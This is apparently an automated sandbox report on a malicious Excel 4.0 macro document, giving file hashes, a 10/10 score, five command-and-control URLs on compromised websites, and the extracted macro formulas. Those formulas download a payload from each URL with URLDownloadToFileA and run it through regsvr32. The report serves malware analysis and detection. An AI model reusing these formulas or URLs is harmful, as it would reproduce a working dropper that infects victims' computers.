287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec

General

Target

287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec
Size

69KB
Sample

241120-f64fwssgjn
MD5

0266070c7f54c0a4422ccc4462b8c877
SHA1

cd524d603b7e06f6b85bf952a5925fc8bc0dc85a
SHA256

287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec
SHA512

82bc04eaeab4df993ef6fd661fc1349f68873e2dc94a2a65ba5c234b7ed41f426e859394a1d2426a00f691a990d33e7c921c310f7407e1524dc1705eb60aa52c
SSDEEP

1536:9yBvEXHLWhxndhjh/VwBpSZobSex7jB0FfuZibVkq:66rWhxHjh88ZoH7juFuZi6q

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://karmapedia.com/wp-includes/X0PZpQ/

http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/

http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/

https://mustknew.com/lovecalculator/i/

https://baicc-ct.org/wp-admin/E6Z5DApRJ/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://karmapedia.com/wp-includes/X0PZpQ/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/i/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/E6Z5DApRJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://karmapedia.com/wp-includes/X0PZpQ/

xlm40.dropper

http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/

xlm40.dropper

http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/

xlm40.dropper

https://mustknew.com/lovecalculator/i/

xlm40.dropper

https://baicc-ct.org/wp-admin/E6Z5DApRJ/